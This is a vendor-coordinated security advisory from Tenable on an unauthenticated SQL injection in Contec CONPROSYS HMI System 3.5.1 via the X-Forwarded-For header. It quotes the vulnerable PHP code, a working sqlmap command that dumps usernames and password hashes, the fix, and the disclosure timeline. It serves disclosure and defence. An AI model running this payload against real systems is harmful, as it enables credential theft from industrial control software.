Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Contec CONPROSYS HMI System (CHS) Unauthenticated SQLi

High

Synopsis

There is an SQL injection vulnerability in Contec CONPROSYS HMI System (CHS) 3.5.1. An unauthenticated remote attacker can exploit it to enumerate a CHS database.

CHS logs login attempts to the dbo.m_user_login table in a PostgreSQL database:

from: auth_login.php 
...snip...>
    $v = d5::v(); // get client IP address
    if ($l != null) {
        $p = ad(time());
        $q = new d5($i, null, null, 'dbo.m_user_login');
        try {
            $q->_a(_S34_, "'" . $o . "','" . $l->l . "','" . $v . "','" . $p . "',true," . ($b ? 'true' : 'false'));
...snip...>

It uses the client IP address to fill in the client_ip column in the m_user_login table. The IP address can be taken from an attacker-controlled X-Forwarded-For header:

from: CPostgreSQL.php 
...snip...>
    static function v()
    {
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
            return $_SERVER['HTTP_X_FORWARDED_FOR'];
        if (isset($_SERVER['REMOTE_ADDR']))
            return $_SERVER['REMOTE_ADDR'];
        return '';
    }
...snip...>

The X-Forwarded-For header is not sanitized, allowing SQL injection via a PostgreSQL INSERT statement:

from: CPostgreSQL.php 
...snip...>
    function _a($a, $e)
    {
        if ($a == null || $a == '' || $e == null || $e == '') {
            $this->a = 'Error: Invalid parameter.';
            return FALSE;
        }
        if ($this->_ == null) {
            if (!$this->k())
                return FALSE;
        }
        if ($this->_ == null) {
            $this->a = 'Error: Not connected.';
            return FALSE;
        }
        $c = 'insert into ' . $this->f . ' (' . $a . ') values (' . $e . ')';
        $_ = FALSE;
        try {
            $d = $this->_->prepare($c);
            $_ = $d->execute();
...snip...>

PoC

The following sqlmap command extracts user names and password hashes in the companys.dbo.s_users table:

sqlmap -u 'http:///php/login.php' --data='uid=admin&pwd=aaaa&cid=admin&pid=admin&type=admin,user&nname=1&lang=en' –headers="X-Forwarded-For:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*" --technique=T --level 5 --risk 3 --ignore-code=401 --dbms=PostgreSQL -p 'X-Forwarded-For' --no-cast --drop-set-cookie --dump -D dbo -T s_users -C login_id,login_password
...snip...>
[1 entry]
+----------+-------------------------------------------------------------------+
| login_id | login_password                                                    |
+----------+-------------------------------------------------------------------+
| admin    | :a0edf1520405d98745153ca965fb376e62b662d1ae4316ab4af3402e44b859f5 |
+----------+-------------------------------------------------------------------+
...snip...>

Solution

Install the latest version (Ver.3.5.2 or later) on CONTEC's website or restrict access to the product using a firewall as a workaround if unable to update.

Disclosure Timeline

3/10/2023 - Vulnerability Reported
3/12/2023 - Received automated response from vendor
3/14/2023 - Vendor confirms vulnerability and asks to continue disclosure process with JPCERT.
3/14/2023 - Tenable agrees to coordinate with JPCERT.
3/15/2023 - Vendor confirms agreement.
3/23/2023 - Vendor says JPCERT is asking for CVE.
3/27/2023 - JPCERT asks for CVE from Tenable.
3/27/2023 - Tenable reserves and provides JPCERT CVE identifier.
3/28/2023 - JPCERT informs Tenable that vendor will publish advisory on 3/31/2023, and asks if we will.
3/29/2023 - Tenable provides JPCERT link to Tenable Research advisory page were advisory will be published.
3/29/2023 - JPCERT informs that their advisory will be published March 31 13:00 JST.
3/31/2023 - Tenable publishes advisory.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2023-1658
Tenable Advisory ID: TRA-2023-14
CVSSv3 Base / Temporal Score:
7.5/6.7
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Risk Factor:
High

Advisory Timeline

3/31/2023 - Advisory published.